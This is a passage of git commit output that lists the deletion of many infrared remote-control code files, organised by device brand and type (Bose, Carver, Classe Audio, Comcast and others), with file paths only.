assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,206.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Broksonic/VCR/128,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Light/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ByDesign/LCD/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/26,26.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/TV/84,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Calypso/Control System/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/DVD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Coby/TV/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Cable Box/62,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir delete mode 100644 